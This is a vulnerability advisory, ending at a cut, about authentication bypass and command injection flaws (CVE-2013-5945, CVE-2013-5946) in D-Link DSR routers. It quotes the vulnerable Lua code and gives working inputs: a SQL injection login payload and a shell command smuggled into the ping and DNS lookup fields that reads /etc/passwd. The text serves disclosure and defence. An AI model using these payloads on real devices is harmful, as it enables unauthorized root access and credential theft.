# # CVEs: # CVE-2013-5945 - Authentication Bypass by SQL-Injection # CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution # # Vulnerable Routers: # D-Link DSR-150 (Firmware < v1.08B44) # D-Link DSR-150N (Firmware < v1.05B64) # D-Link DSR-250 and DSR-250N (Firmware < v1.08B44) # D-Link DSR-500 and DSR-500N (Firmware < v1.08B77) # D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77) # # Download URL: # http://tsd.dlink.com.tw # # Arch: # mips and armv6l, Linux # # Author: # 0_o -- null_null # nu11.nu11 [at] yahoo.com # # Date: # 2013-08-18 # # Purpose: # Get a non-persistent root shell on your D-Link DSR. # # Prerequisites: # Network access to the router ports 443 and 23. # !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!! # # # A list of identified vulns follows. This list is not exhaustive as I assume # more vulns are present that just slipped my attention. # The fact that D-Link implemented a backdoor user (for what reason, please??) # and just renamed it instead of completely removing it after it was targetted # by my previous exploit, as well as the triviality of those vulns I found # makes me suggest that more vulns are present that are comparably easy to # exploit. # # Since 2013-12-03, patches are available for: # DSR-150: Firmware v1.08B44 # DSR-150N: Firmware v1.05B64 # DSR-250 and DSR-250N: Firmware v1.08B44 # DSR-500 and DSR-500N: Firmware v1.08B77 # DSR-1000 and DSR-1000N: Firmware v1.08B77 # via http://tsd.dlink.com.tw # # And now, have a worthwhile read :-) # 0. Contents: 1. Vulnerability: Authentication Bypass by SQL-Injection (CVE-2013-5945) 2. Vulnerability: Privilege Escalation by Arbitrary Command Execution (CVE-2013-5946) 3. Exposure: D-Link backdoor user 4. Vulnerability: Use of weak hash algorithms 5. Exposure: Passwords are stored as plain text in config files 6. Vulnerability: Bad permissions on /etc/shadow 1. Vulnerability: Authentication Bypass by SQL-Injection (CVE-2013-5945) * Possible via the global webUI login form. * File /pfrm2.0/share/lua/5.1/teamf1lualib/login.lua contains: function login.authenticate(tablename, tableInput) local username = tableInput["Users.UserName"] local password = tableInput["Users.Password"] local cur = db.execute(string.format([[ SELECT *, ROWID AS _ROWID_ FROM %s WHERE %s = '%s' AND %s = '%s' ]], tablename, "UserName", username, "Password", password)) local result = false local statusCode = "NONE" if cur then local row = cur:fetch({}, "a") cur:close() result = row ~= nil if result == false then statusCode = "USER_LOGIN_INVALID_PASSWORD" end end return result, statusCode end * This function creates an SQL statement of the form: SELECT * FROM "Users" WHERE "UserName" = 'user' AND "Password" = 'pass'; * Since there is a default admin user account called "admin" around, this is easily exploitable by providing this to the login form: username = admin password = ' or 'a'='a * ...resulting in this SQL statement: SELECT * FROM "Users" WHERE "UserName" = 'admin' AND "Password" = '' or 'a'='a'; * Old school SQL injection. Ohh, by the way... * The same fault can be found in captivePortal.lua -- FREE NETWORKS FOR EVERYONE -- 2. Vulnerability: Privilege Escalation by Arbitrary Command Execution (CVE-2013-5946) * Possible from the Tools --> System Check page. * File /pfrm2.0/var/www/systemCheck.htm contains: local function runShellCmd(command) local pipe = io.popen(command .. " 2>&1") -- redirect stderr to stdout local cmdOutput = pipe:read("*a") pipe:close() return cmdOutput end if (ButtonType and ButtonType == "ping") then [...] local cmd_ping = pingprog .. " " .. ipToPing .. " " .. options1 .. " > " .. pingfile globalCmdOutput = runShellCmd (cmd_ping) statusMessage = "Pinging " .. ipToPing [...] elseif (ButtonType and ButtonType == "traceroute") then [...] local cmd = traceRouteProg .. " " .. ipToTraceRoute .. options globalCmdOutput = runShellCmd(cmd) statusMessage = "Traceroute To " .. ipToTraceRoute .. "..." [...] elseif (ButtonType and ButtonType == "dnslookup") then [...] util.appendDebugOut("Exec = " .. os.execute(nsLookupProg .. " " .. internetNameToNsLookup .. " > " .. nsLookupFile)) statusMessage = "DNS Lookup for " .. internetNameToNsLookup [...] * Command injection is possible in at least these form sections: Ping or Trace an IP Address Perform a DNS Lookup * When using a browser, deactivate the "onclick" JavaScript checks using a tool like Firebug. Tools like curl are not hindered by these checks. * All forms allow input like this: localhost; example: localhost;cat /etc/passwd * This user provided value is then directly used as part of the input for the call to runShellCmd(c) and thus io.popen(c) in the first form section and os.execute(c) in the second form section. * Output from user provided commands gets displayed on the next page beneath the benign command output. example: [...]